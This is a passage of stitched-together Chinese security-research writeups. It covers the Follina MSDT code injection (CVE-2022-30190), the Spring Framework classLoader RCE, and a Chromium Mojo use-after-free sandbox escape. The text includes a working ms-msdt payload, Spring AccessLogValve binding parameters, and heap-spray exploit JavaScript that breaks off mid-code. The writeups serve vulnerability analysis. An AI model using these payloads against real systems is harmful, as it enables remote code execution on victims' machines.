就能通过 sdiagnhost.exe 执行 powershell 命令，整个漏洞利用完成。

整个漏洞利用链如图所示：

漏洞利用细节

word 解析 URL

word 在解析 ms-msdt Office URL 时是通过 mshtml.dll 的 ShellExecURL 函数解析的，而该函数内部会调用 ShellExecuteW 执行命令行参数创建 msdt.exe

0:000> r
rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000080004005 rdi=00000267dfbe07f0
rip=00007ffa2fe2fe45 rsp=000000f644b0d410 rbp=000000f644b0d510
 r8=00000267dfb84838  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=00007ffa3086e358 r13=0000000000000000
r14=0000000000000000 r15=0000000000000020
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!ShellExecURL+0x24d:
00007ffa`2fe2fe45 48ff1554b8c600  call    qword ptr [mshtml!_imp_ShellExecuteW (00007ffa`30a9b6a0)] ds:00007ffa`30a9b6a0={mshtml!_imp_load_ShellExecuteW (00007ffa`2f8edaaa)}
0:000> du r8  //ShellExecuteW的执行参数
00000267`dfb84838  "ms-msdt:/id PCWDiagnostic /skip "
00000267`dfb84878  "force /param "IT_RebrowseForFile"
00000267`dfb848b8  "=cal?c IT_SelectProgram=NotListe"
00000267`dfb848f8  "d IT_BrowseForFile=h$(IEX('calc."
00000267`dfb84938  "exe'))i/../../../../../../../../"
00000267`dfb84978  "../../../../../../Windows/System"
00000267`dfb849b8  "32/mpsigstub.exe ""
0:000> k   //函数调用栈
 # Child-SP          RetAddr           Call Site
00 00000092`064fccc8 00007ffa`707502de SHELL32!ShellExecuteNormal
01 00000092`064fccd0 00007ffa`707d8f11 SHELL32!ShellExecuteExW+0xde
02 00000092`064fce70 00007ffa`2fe2fe4c SHELL32!ShellExecuteW+0x81
03 00000092`064fcf30 00007ffa`2fe2ee3a mshtml!ShellExecURL+0x254
04 00000092`064fd1f0 00007ffa`2fb4e721 mshtml!OpenInNewWindow+0x38e
05 00000092`064fd3e0 00007ffa`2f6206cf mshtml!CDoc::DoNavigate_NavigateInNewBrowser+0x201
06 00000092`064fd470 00007ffa`2f619f00 mshtml!CDoc::DoNavigate+0xbaf
07 00000092`064fd7c0 00007ffa`2f751420 mshtml!CDoc::FollowHyperlink2+0xc70
08 00000092`064fd9c0 00007ffa`2f75072b mshtml!CWindow::FollowHyperlinkHelper+0x2a4
09 00000092`064fdb40 00007ffa`2f74a704 mshtml!CWindow::NavigateEx+0xeb
0a 00000092`064fdcb0 000001c0`4fad4802 mshtml!COmLocationProxy::InvokeEx+0x4f4
0b 00000092`064fddc0 000001c0`4fad468e jscript9!HostDispatch::CallInvokeExInternal+0xf2
0c 00000092`064fde60 000001c0`4fad4540 jscript9!HostDispatch::CallInvokeHandler+0x96
0d 00000092`064fdee0 000001c0`4fb8afb6 jscript9!HostDispatch::CallInvokeEx+0x90
0e 00000092`064fdf70 000001c0`4fb8aed3 jscript9!HostDispatch::PutValueByDispId+0xd6
0f 00000092`064fe030 000001c0`4fa50ce1 jscript9!HostDispatch::PutValue+0x37
10 00000092`064fe070 000001c0`4fa54a1e jscript9!Js::JavascriptOperators::OP_SetProperty+0x1d1
11 00000092`064fe100 000001c0`4fa43f43 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x7e
12 00000092`064fe180 000001c0`4fa47a2d jscript9!Js::InterpreterStackFrame::DoProfiledSetProperty<Js::OpLayoutElementCP_OneByte const >+0x183
13 00000092`064fe240 000001c0`4fa45029 jscript9!Js::InterpreterStackFrame::Process+0x6cd
14 00000092`064fe2c0 000001c0`4ff00fc3 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x4c9
15 00000092`064fe4d0 000001c0`4fb0afb6 0x000001c0`4ff00fc3
16 00000092`064fe500 000001c0`4f9eb3d1 jscript9!amd64_CallFunction+0x86
17 00000092`064fe550 000001c0`4fa9abc9 jscript9!Js::JavascriptFunction::CallFunction<1>+0x71
18 00000092`064fe5c0 000001c0`4fa9aab0 jscript9!Js::JavascriptFunction::CallRootFunctionInternal+0xfd
19 00000092`064fe690 000001c0`4fa9aa0b jscript9!Js::JavascriptFunction::CallRootFunction+0x64
1a 00000092`064fe700 000001c0`4fa9a929 jscript9!ScriptSite::CallRootFunction+0x67
1b 00000092`064fe760 000001c0`4fa9ae80 jscript9!ScriptSite::Execute+0x109
1c 00000092`064fe7f0 000001c0`4fa20430 jscript9!ScriptEngine::ExecutePendingScripts+0x234
1d 00000092`064fe8e0 000001c0`4faf6924 jscript9!ScriptEngine::ParseScriptTextCore+0x49c
1e 00000092`064fea40 00007ffa`2f81e0c8 jscript9!ScriptEngine::ParseScriptText+0xc4
1f 00000092`064feaf0 00007ffa`2f5a25aa mshtml!CActiveScriptHolder::ParseScriptText+0xb8
20 00000092`064feb70 00007ffa`2f5a0f92 mshtml!CScriptCollection::ParseScriptText+0x25a
21 00000092`064fec50 00007ffa`2f5a09b6 mshtml!CScriptData::CommitCode+0x422
22 00000092`064fee20 00007ffa`2f5a072f mshtml!CScriptData::Execute+0x266
23 00000092`064feed0 00007ffa`2f63fa05 mshtml!CHtmScriptParseCtx::Execute+0xbf
24 00000092`064fef00 00007ffa`2f540767 mshtml!CHtmParseBase::Execute+0x95
25 00000092`064fef90 00007ffa`2f53ffaa mshtml!CHtmPost::Broadcast+0x47
26 00000092`064fefd0 00007ffa`2f80db06 mshtml!CHtmPost::Exec+0x29a
27 00000092`064ff1d0 00007ffa`2f80d9db mshtml!CHtmPost::Run+0x32
28 00000092`064ff200 00007ffa`2f80d96f mshtml!PostManExecute+0x63
29 00000092`064ff240 00007ffa`2f80d4d0 mshtml!PostManResume+0xab
2a 00000092`064ff280 00007ffa`2f875eec mshtml!CHtmPost::OnDwnChanCallback+0x40
2b 00000092`064ff2d0 00007ffa`2f53b0c1 mshtml!CDwnChan::OnMethodCall+0x1c
2c 00000092`064ff300 00007ffa`2f5dca04 mshtml!GlobalWndOnMethodCall+0x2b1
2d 00000092`064ff3b0 00007ffa`2f9854b8 mshtml!GlobalWndProc_SEH+0x104
2e 00000092`064ff440 00007ffa`6fd1e858 mshtml!GlobalWndProc+0x3a8c08
2f 00000092`064ff480 00007ffa`6fd1e299 USER32!UserCallWinProcCheckWow+0x2f8
30 00000092`064ff610 00007ffa`3e081af9 USER32!DispatchMessageWorker+0x249
31 00000092`064ff690 00007ffa`3dfe2009 wwlib!PTLS7::LsNotReached+0x7bd49
32 00000092`064ff730 00007ff6`79e71230 wwlib!FMain+0x61
33 00000092`064ff760 00007ff6`79e71519 winword+0x1230
34 00000092`064ff790 00007ffa`71177034 winword+0x1519
35 00000092`064ff7d0 00007ffa`71362651 KERNEL32!BaseThreadInitThunk+0x14
36 00000092`064ff800 00000000`00000000 ntdll!RtlUserThreadStart+0x21

ShellExecuteW 内部则是通过 CreateRemoteThreadEx 创建新线程，通过新线程创建 msdt.exe：

0:027> r
rax=0000000002000000 rbx=0000000000000000 rcx=000000e48ad4d438
rdx=000000e48ad4d4a0 rsi=0000021054c22ee0 rdi=0000000000000000
rip=00007ffada60e620 rsp=000000e48ad4d358 rbp=000000e48ad4eb00
 r8=0000000002000000  r9=0000000002000000 r10=0000000000000000
r11=000000e48ad4d300 r12=0000000000000001 r13=0000000000000002
r14=0000000000000008 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtCreateUserProcess:
00007ffa`da60e620 4c8bd1          mov     r10,rcx
0:027> dps poi(esp+98) La8/8   //AttributeList
000000e4`8ad4df00  00000000`000000a8
000000e4`8ad4df08  00000000`00020005 //PS_ATTRIBUTE_IMAGE_NAME
000000e4`8ad4df10  00000000`00000040 //NtImagePath.Length
000000e4`8ad4df18  00000210`54bae7b0 //NtImagePath.Buffer
000000e4`8ad4df20  00000000`00000000
000000e4`8ad4df28  00000000`00010003
000000e4`8ad4df30  00000000`00000010
000000e4`8ad4df38  000000e4`8ad4d7c0
000000e4`8ad4df40  00000000`00000000
000000e4`8ad4df48  00000000`00000006
000000e4`8ad4df50  00000000`00000040
000000e4`8ad4df58  000000e4`8ad4d900
000000e4`8ad4df60  00000000`00000000
000000e4`8ad4df68  00000000`00020009
000000e4`8ad4df70  00000000`00000004
000000e4`8ad4df78  000000e4`8ad4d6f0
000000e4`8ad4df80  00000000`00000000
000000e4`8ad4df88  00000000`0006001a
000000e4`8ad4df90  00000000`00000001
000000e4`8ad4df98  00000000`00000001
000000e4`8ad4dfa0  00000000`00000000
0:027> du 00000210`54bae7b0    //创建的进程名
00000210`54bae7b0  "\??\C:\Windows\system32\msdt.exe"
00000210`54bae7f0  ""
0:027> k        //创建msdt.exe的线程调用栈
 # Child-SP          RetAddr           Call Site
00 000000e4`8ad4d358 00007ffa`d8128e73 ntdll!NtCreateUserProcess
01 000000e4`8ad4d360 00007ffa`d81271a6 KERNELBASE!CreateProcessInternalW+0xfe3
02 000000e4`8ad4e930 00007ffa`d89dcbb4 KERNELBASE!CreateProcessW+0x66
03 000000e4`8ad4e9a0 00007ffa`d5f1152d KERNEL32!CreateProcessWStub+0x54
04 000000e4`8ad4ea00 00007ffa`d5ea6722 windows_storage!CInvokeCreateProcessVerb::CallCreateProcess+0x2cd
05 000000e4`8ad4ecb0 00007ffa`d5f0a75c windows_storage!CInvokeCreateProcessVerb::_PrepareAndCallCreateProcess+0x2d6
06 000000e4`8ad4ed30 00007ffa`d5f0a583 windows_storage!CInvokeCreateProcessVerb::_TryCreateProcess+0x3c
07 000000e4`8ad4ed60 00007ffa`d5f0a46d windows_storage!CInvokeCreateProcessVerb::Launch+0xef
08 000000e4`8ad4ee00 00007ffa`d5f49dc4 windows_storage!CInvokeCreateProcessVerb::Execute+0x5d
09 000000e4`8ad4ee40 00007ffa`d5e31d87 windows_storage!CBindAndInvokeStaticVerb::InitAndCallExecute+0x214
0a 000000e4`8ad4eec0 00007ffa`d5ea5787 windows_storage!CBindAndInvokeStaticVerb::TryCreateProcessDdeHandler+0x63
0b 000000e4`8ad4ef40 00007ffa`d5ef586d windows_storage!CBindAndInvokeStaticVerb::Execute+0x1e7
0c 000000e4`8ad4f260 00007ffa`d5ef5785 windows_storage!RegDataDrivenCommand::_TryInvokeAssociation+0xad
0d 000000e4`8ad4f2c0 00007ffa`d9b92b22 windows_storage!RegDataDrivenCommand::_Invoke+0x141
0e 000000e4`8ad4f330 00007ffa`d9b929da SHELL32!CRegistryVerbsContextMenu::_Execute+0xce
0f 000000e4`8ad4f3a0 00007ffa`d9b9630c SHELL32!CRegistryVerbsContextMenu::InvokeCommand+0xaa
10 000000e4`8ad4f6a0 00007ffa`d9b9618d SHELL32!HDXA_LetHandlerProcessCommandEx+0x10c
11 000000e4`8ad4f7b0 00007ffa`d9b926ab SHELL32!CDefFolderMenu::InvokeCommand+0x13d
12 000000e4`8ad4fb10 00007ffa`d9b92583 SHELL32!CShellExecute::_InvokeInProcExec+0xfb
13 000000e4`8ad4fc10 00007ffa`d9bcd671 SHELL32!CShellExecute::_InvokeCtxMenu+0x5b
14 000000e4`8ad4fc50 00007ffa`d9bac32d SHELL32!CShellExecute::_DoExecute+0x151
15 000000e4`8ad4fcc0 00007ffa`da48c3f9 SHELL32!<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl>+0x2d
16 000000e4`8ad4fd30 00007ffa`d89d7034 SHCORE!_WrapperThreadProc+0xe9
17 000000e4`8ad4fe10 00007ffa`da5c2651 KERNEL32!BaseThreadInitThunk+0x14
18 000000e4`8ad4fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21

分析 word 解析 URL 是因为在尝试缩减 payload 的过程中发现了缩减后的 payload 能在 cmd 上成功执行命令，但是内嵌到 docx 文档中则无法执行，于是探索了一番。

一些尝试

原本的 payload 可以直接在 cmd 上运行，其中有些参数是不必要的，最终缩减的 payload 为msdt /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"，将 payload 替换到 poc.html 中window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../../$(calc).exe \" ";。然而该 payload 却无法在 word 中执行成功，procmon 抓到的参数是不完整的：

重新调试 word，断在 ShellExecURL，发现到该函数时命令行的参数已经变成ms-msdt:/id PCWDiagnostic /$(calc).exe：

0:000> r
rax=0000000000000000 rbx=0000000000000000 rcx=000002c0dc60fc00
rdx=000002c0cdec0000 rsi=000002c8e5144200 rdi=000002c8e5190400
rip=00007ffa9737fbf8 rsp=000000fbbf39d748 rbp=000000fbbf39d850
 r8=000002c0cde50d20  r9=0000000000000001 r10=0000000000008000
r11=000000fbbf39d5a0 r12=00007ffa97dbe358 r13=0000000000000000
r14=0000000000000000 r15=000002c0df5435d0
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!ShellExecURL:
00007ffa`9737fbf8 488bc4          mov     rax,rsp
0:000> du 000002c0df5438a0
000002c0`df5438a0  "/id PCWDiagnostic /$(calc).exe""

向前回溯在执行函数iertutil!CreateUri后，传入的参数被截断：

0:000> r
rax=00000000000000dc rbx=000000000000006e rcx=000000b3c48fbe10
rdx=0000000003002b85 rsi=000001f1917fe9a8 rdi=0000000000000000
rip=00007ffa96d34a77 rsp=000000b3c48fbdb0 rbp=000000b3c48fbeb0
 r8=0000000000000000  r9=000000b3c48fbde8 r10=0000000000000000
r11=000000000000006e r12=000000b3c48fdeb0 r13=0000000000000000
r14=000000b3c48fdec8 r15=000000000000006e
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!GetFullyExpandedUri+0x12b:
00007ffa`96d34a77 48ff1572c7f600  call    qword ptr [mshtml!_imp_CreateUri (00007ffa`97ca11f0)] ds:00007ffa`97ca11f0={iertutil!CreateUri (00007ffa`ce4ffa10)}
0:000> du rcx           //传入的参数
000000b3`c48fbe10  "ms-msdt:/id PCWDiagnostic /skip "
000000b3`c48fbe50  "force /param "IT_LaunchMethod=Co"
000000b3`c48fbe90  "ntextMenu IT_BrowseForFile=/../."
000000b3`c48fbed0  "./$(calc).exe""
0:000> dps r9 L1          //传出的IUri结构指针
000000b3`c48fbde8  00000000`00000000
0:000> p
mshtml!GetFullyExpandedUri+0x132:
00007ffa`96d34a7e 0f1f440000      nop     dword ptr [rax+rax]
0:000> du poi(poi(000000b3`c48fbde8)+68)    //执行完函数后返回的IUri结构所指的URI字符串
000001f1`8a2bc560  "/id PCWDiagnostic /$(calc).exe""

此时查看 MSDN 对于CreateUri函数的说明，发现对于传入的 URI 会进行规范化，会删除相对路径段"./"和"../"，并酌情缩短路径，因此原本的参数会被截断。

但是原 payload 中的"./"和"../"被保留下来了，分析后得知在如果参数中有"?"符号，则后面的内容不会被截断，于是重新编写 payloadwindow.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_ReBrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe\"";能成功执行：

漏洞原理分析

Windows Troubleshooting Platform（WTP）简介

WTP 架构

WTP由一个 Windows 故障排除运行引擎、结果报告和调试报告、四个故障排除 cmdlet 和一个托管的 Windows PowerShell 运行环境组成，不同的 Windows 故障排除包会调用不同 PowerShell Script，并输出对应的结果报告和调试报告。下图显示了 WTP 架构：

Windwos 故障排除包既可以通过 WTP 向导 (MSDT.exe) 运行（本次漏洞就是通过这种方式），又可以在 Windows PowerShell 窗口中运行，通过 Windows PowerShell 窗口运行故障排除包时 msdt.exe 不会启动：

故障排除包（Troubleshooting Pack）的组件

下图显示了故障排除包中包含的组件：

故障排除包的设计基于三个步骤或阶段：检测问题（troubleshooting）、解决问题（resolution）和验证解决方案（verification）。每个阶段都表示为一组 Windows PowerShell 脚本，对应脚本的开头分别为TS，RS和VF。本次漏洞中使用的 PCWDiagnostic 程序兼容性诊断包就正好有三个对应阶段的不同脚本：

当用户调用 PCWDiagnostic 程序兼容性诊断包时，WTP 会实例化一个 Windows PowerShell 运行空间来运行脚本，由于对于参数没有正确的过滤导致在执行脚本时会将参数中的"$"解析，导致了代码注入。

调试 sdiagnhost.exe

使用 dnSpy 调试 sdiagnhost.exe，可以利用 windbg 的工具 gflags.exe 设置 sdiagnhost.exe 的 debuger 为 dnSpy.exe：

执行在命令行执行 payload 后，sdiagnhost.exe 创建后会被 dnSpy 调试，此时下断在Microsoft.Windows.Diagnosis.ManagedHost.RunScript()方法，随后启动调试会断在 RunScript 方法内：

可以看到待执行的 PowerShell 指令 text 中的内容就是 scriptPath，随后到达第二个断点。此时 text 的内容依然是 scriptPath，将要执行脚本TS_ProgramCompatibilityWizard.ps1

查看TS_ProgramCompatibilityWizard.ps1的内容，首先获取 msdt 参数中 IT_BrowseForFile 部分的内容并调用Test-Selection方法检查参数是否符合要求：

Test-Selection首先检查了 IT_BrowseForFile 传入的路径是否存在，接着检查路径后缀名是否为.exe 或.msi，符合这两个条件表示路径合法

尽管/../../已经超出了 C:/的根路径，但是test-path方法返回的结果仍然为 True，因此路径被判定合法：

随后通过$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "`$")来过滤传入的路径，测试了 appname 的过滤效果，发现执行了过滤语句后$(calc)仍然存在

最终调用 Update-DiagRootCause 方法，且传入 TARGETPATH 和 APPNAME：

在 dnSpy 下断于Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootCause.ProcessRecord()方法，点击运行后成功断下：

继续向下调试，调用了scriptedDiagnosticInteraction.RecordRootcause，且将 APPNAME 和 TARGETPATH 作为参数传入：

继续运行，发现停在了RunScript方法，且参数正是 APPNAME 和 TARGETPATH，说明通过调用scriptedDiagnosticInteraction.RecordRootcause方法执行了脚本RS_ProgramCompatibilityWizard.ps1，并且将参数 APPNAME 和 TARGETPATH 传入到脚本中：

脚本接收两个参数，并赋给变量$targetPath和$appName，检查$targetPath 是否为可执行文件：

随后分别将$targetPath和$appName当作命令行参数赋给$getDiagCmd，此时命令行中会有注入的代码$(calc)：

最终执行命令行，触发代码注入：

由于在命令行中既有$targetPath，又有$appName，猜想在执行命令时应该会执行两次 calc：

查看 procmon 的日志，确实发现 sdiagnhost.exe 创建了 calc.exe 两次，验证了猜想：

总结

样本利用 Office 远程模板访问远程 html，并利用mshtml!ShellExecURL函数解析了 URI，调用了 msdt.exe。msdt 调用 PCWDiagnostic 程序兼容性诊断包，构造了特殊的 IT_BrowseForFile 参数绕过了TS_ProgramCompatibilityWizard.ps1对于路径是否存在和后缀是否为可执行的校验，将路径作为参数传入并执行了脚本RS_ProgramCompatibilityWizard.ps1，该脚本检测路径后缀为.exe 后便直接调用Invoke-Expression执行了命令行，由于命令行中嵌入了表达式$(calc)，造成了代码注入触发漏洞。

漏洞本身并不复杂，利用也很简单，但是嵌入 rtf 格式文件配合预览窗格能构成一个 Zero-click 漏洞，产生的危害还是很大的。分析漏洞的过程中也学习了很多 dotnet 程序的调试技巧和 PowerShell 命令行的执行流程，感谢各位师傅精彩的分析文章。

参考链接

[1] CVE-2022-30190 MSDT 代码注入漏洞分析：https://paper.seebug.org/1913/

[2] Follina Microsoft Office RCE with MS-MSDT Protocol：https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/

[3] Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit：https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/

[4] Windows Troubleshooting Platform：https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal

[5] CreateUri function：https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)

3月29日，Spring Framework 存在远程代码执行漏洞，在 JDK 9 及以上版本环境下，远程攻击者可利用该漏洞写入恶意代码导 致远程代码执行漏洞。

漏洞描述

作为目前全球最受欢迎的Java轻量级开源框架，在Spring框架的JDK9版本（及以上版本）中，远程攻击者可在满足特定条件的基础上，通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值，从而触发pipeline机制并 写入任意路径下的文件。

目前已知，触发该漏洞需要满足两个基本条件：

• 使用JDK9及以上版本的Spring MVC框架
• Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在CachedIntrospectionResults.class

影响范围

Spring Framework 5.3.X < 5.3.18

Spring Framework 5.2.X < 5.2.20

漏洞分析

Spring中对象绑定是由org.springframework.beans.BeanWrapperImpl实现的。在参数绑定过程中，由其父类AbstractPropertyAccessor的setPropertyValues方法为请求中所有参数对应的bean对象属性赋值。

跟进到setPropertyValue方法，由属性名获取BeanWrapperImpl的方法getPropertyAccessorForPropertyPath返回到的是封装了tomcat日志属性的对象org.apache.catalina.valves.AccessLogValve的BeanWrapperImpl。

再跟进到到AbstractNestablePropertyAccessor，发现它的逻辑是会用.号分割，递归获取封装对应属性的BeanWrapperImpl直到最后一个属性并返回。

protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
 int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
 // Handle nested properties recursively.
 if (pos > -1) {
  String nestedProperty = propertyPath.substring(0, pos);
  String nestedPath = propertyPath.substring(pos + 1);
  AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
  return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
 }
 else {
  return this;
 }
}

最后回到setPropertyValue中，后续用请求参数键值对pv为nestedPa封装的AccessLogValve对象中相应的属性赋值。结合以上，可以得出Spring这么一个特性：Spring对象绑定请求参数的路由Mapping，其POJO类所有具有setter和getter属性，也包括属性对应类的属性，都可通过请求参数修改。

这时稍加思考会发现，我们的示例类User并没有显示的设置一个class属性，但回看封装了示例类的BeanWrapperImpl对象，nestedPropertyAccessors属性中存在一个封装Class的BeanWrapperImpl对象。

那是因为每个对象都继承于Object类，都存在getClass方法，所以class就是每个对象的嵌套属性，可以被这样神不知鬼不觉的被访问到。

还有细心的同学会发现这个漏洞的利用方式很像Struts2的S2-020，都是用class属性最后控制AccessLogValve类，但差别是Spring中先通过class获取module，再从module获取classLoader。

class.classLoader.resources.context.parent.pipeline.first.directory =logs
class.classLoader.resources.context.parent.pipeline.first.prefix =localhost_access_log
class.classLoader.resources.context.parent.pipeline.first.suffix = .txt
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =.yyyy-mm-dd

那是因为在CVE-2010-1622后，Spring限制了bean直接从Class实例直接获取classLoader，具体在org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults构造方法可以体现。

而在JDK9后出现的java.lang.Module存在一个ClassLoader属性：loader，又存在它的getter方法：getClassLoader，CVE-2010-1622的修复就这么被轻松绕过了。这也是目前的POC只能攻击JDK9的原因。

以下是具体验证截图：

漏洞说明

Issue-1062091为chrom中存在的一个UAF漏洞，此漏洞存在于chromium的Mojo框架中，利用此漏洞可以导致chrome与基于chromium的浏览器沙箱逃逸。这个漏洞是在Chrome 81.0.4041.0的提交中引入的。在几周后，这个提交中的漏洞恰好移动到了实验版本命令行标志的后面。但是，这个更改位于Chrome 82.0.4065.0版本中，因此该漏洞在Chrome稳定版本81的所有桌面平台上都是可以利用的。

环境配置

一开始打算像调试v8漏洞那样尝试用fetch拉取代码编译带有漏洞的chromium，但是发现chromium源码下载太慢且太大，故直接下载编译好的chromium，地址:vikyd.github.io下载时除了chromium本体以外还需要将其pdb符号也一起下载下载好后直接将pdb符号文件与exe执行文件解压放在一起即可最后用windbg验证是否可以正常查找函数注：下载以上内容都需要代理

漏洞分析

POC

由于poc目录结构比较复杂，直接给出完整poc下载地址(需要代理)：bugs.chromium.org下载解压后可以得到两个html文件，其中trigger.html为我们需要的poc然后尝试触发漏洞，根据说明得知chrome默认不会启用mojo，想要启用有两种方法: 一、在命令行启动chromium时加上 --enable-blink-features=MojoJS,MojoJSTest参数。二、利用另一个漏洞去改写当前Frame对象内部的一个变量content::RenderFrameImpl::enabled_bindings_让Frame拥有调用MojoJS的能力，通过以下路径可以得到该变量：

chrome.dll base => g_frame_map => RenderFrameImpl(main frame) => RenderFrameImpl.enabled_bindings_

关于改写变量部分具体可查看SCTF202中的0x02 exploit部分，在实际利用漏洞进行攻击时肯定采用第二种方式，而此时仅需要分析利用Issue 1062091漏洞即可，所以先不去过分关心mojo开启的问题，直接采用第一种方法开启mojo。使用windbg进行调试在调试开始前由于当前工作目录的问题需要将poc代码中以下两处路径进行一些改动然后用.childdbg 1开启子进程调试之后经过几个ntdll!LdrpDoDebuggerBreak后就会触发crash

漏洞分析

通过观察异常信息可判断此处并非漏洞触发的第一现场，使用gflags.exe开启页堆(+hpa)与堆栈跟踪(+ust)并在启动chrome时添加--no-sandbox参数进行调试分析会发现崩溃点会转移到前一句代码再结合代码可以判断发生崩溃的地方是在获取render_frame_host_对象虚表使用!address查看该render_frame_host_对象内存信息会发现该内存已被释放通过观察发现render_frame_host_对象在InstalledAppProviderImpl对象在构造时被初始化对content::InstalledAppProviderImpl::Create函数下断，当执行到以下内容时将会创建InstalledAppProviderImpl对象而render_frame_host_保存在InstalledAppProviderImpl对象0x8偏移处再结合poc可以确定InstalledAppProviderImpl对象是在sub frame调用bindInterface进行接口绑定时创建的在之后的poc执行中，父帧会通过MojoInterfaceInterceptor拦截并获取子帧的句柄获取后便会调用body.removeChild删除子帧最后会通过filterInstalledApps函数去调用已经被释放的render_frame_host_对象的虚函数

总结poc的执行顺序大致为：

• 通过window.location.hash判断是否是子帧
• 如果是子帧就去执行Mojo.bindInterface
• 如果是父帧就去创建子帧并用MojoInterfaceInterceptor拦截子帧的Mojo.bindInterface到并将其句柄传递给父帧
• 释放子帧
• 使用filterInstalledApps去调用已经被释放但却依然还留有悬挂指针的render_frame_host_虚函数

漏洞利用

开启Mojo

上文中提到过chrome默认不能直接调用mojo，所以此处使用cve 2021-21224来配合开启mojo。通过分析可知mojoJS的开启与关闭主要由RenderFrameImpl类成员变量enabled_bindings_与IsMainFrame函数来决定IsMainFrame函数的逻辑很简单就只是将一个类成员变量返回而通过调试也可知当enabled_bindings_ & 2不为0时即可满足条件也就是说此时只需要将enabled_bindings_修改为2，再将is_main_frame_修改为1即可满足条件开启mojo。而在一个页面中可能会存在多个frame，而这些frame所对应的RenderFrameImpl对象都存储在一个全局变量g_frame_map中要查找到全局变量g_frame_map，就需要先获取到chrome.dll的基址，利用21224构造的地址泄露函数与读写原语，泄露window对象地址，再从window对象中获取到一个位于chrome.dll模块中的地址，再用该地址减去一定的偏移来得到chrome.dll模块基址，除此以外还可以用特征码查找的方式，这种方式兼容性会更好，但在我的环境下读写原语在进行频繁的读写操作时会产生异常发生崩溃，具体原因暂时未知，所以姑且使用减去固定偏移获取基址的办法。之后由于无法直接通过g_frame_map符号在windbg中使用x来查找其地址，那就通过查找调用过该全局变量的函数来查找之后在windbg中查找RenderFrame::ForEach并查看其汇编代码获取到g_frame_map地址为00007ffe`3d927888，用此值减去chrome基址得到偏移为0x7627888，只要使用chrome基址加0x7627888即可得到g_frame_map地址g_frame_map变量8-16偏移处存放着一个链式结构，当只有一个frame时创建sub frame后而其对应的RenderFrameImpl对象保存在红线划出内存地址的0x28偏移处再通过观察content::RenderFrameImpl::DidCreateScriptContext函数来获取相关变量在对象中的偏移，enabled_bindings_偏移为0x560IsMainFrame函数中用到的have_context_变量偏移为0x88将g_frame_map中保存的所有RenderFrameImpl对象相应偏移修改为对应的值即可。但要注意的是在我的漏洞环境（ 81.0.4044.0）中，在获取成员变量enabled_bindings_时需要将g_frame_map中拿到的RenderFrameImpl对象地址加0x68再加enabled_bindings_所在偏移，而IsMainFrame中用到的成员变量就在g_frame_map中拿到的RenderFrameImpl对象的0x88偏移处。

内存回收

对于uaf漏洞利用的第一步肯定是将此内存进行回收，而进行内存回收的前提就是先需要知道被释放的render_frame_host_占多大内存，通过前面的调试分析得知render_frame_host_为RenderFrameHostImpl类实例，所以可以先对RenderFrameHostImpl构造函数下断，而实例大小从构造函数是看不出来的，但可以从调用该实例构造函数的函数中看到。通过kb栈回溯查看调用RenderFrameHostImpl构造函数的函数为RenderFrameHostFactory::Create通过查看该函数可知render_frame_host_对象大小为0xC38字节在知道了要回收的内存大小后就可以通过创建一系列的Blob来回收该内存

var spray_buff = new ArrayBuffer(0xC38);
var spray_view = new DataView(spray_buff);
for(var i = 0; i < spray_buff.byteLength; i++)
 spray_view.setInt8(i, 0x41, true);
//释放子帧
for(var i = 0; i < 0xA; i++)
 spray_arr[i] = new Blob([spray_buff]);

但此方法稳定性不足，不能保证能成功进行内存回收，更好的办法是采用已经被封装好的函数

 function getAllocationConstructor() {
        let blob_registry_ptr = 
          new blink.mojom.BlobRegistryPtr();
        Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                            mojo.makeRequest(
                              blob_registry_ptr)
                              .handle, "process", true);
        function Allocation(size=280) {
          function ProgressClient(allocate) {
            function ProgressClientImpl() {
            }
            ProgressClientImpl.prototype = {
              onProgress: async (arg0) => {
                if (this.allocate.writePromise) {
                  this.allocate.writePromise.resolve(arg0);
                }
              }
            };
            this.allocate = allocate;
            this.ptr = new mojo.AssociatedInterfacePtrInfo();
            var progress_client_req = mojo.makeRequest(this.ptr);
            this.binding = new mojo.AssociatedBinding(
              blink.mojom.ProgressClient, 
              new ProgressClientImpl(), 
              progress_client_req
            );
            return this;
          }
          this.pipe = Mojo.createDataPipe({
            elementNumBytes: size, capacityNumBytes: size});
          this.progressClient = new ProgressClient(this);
          blob_registry_ptr.registerFromStream(
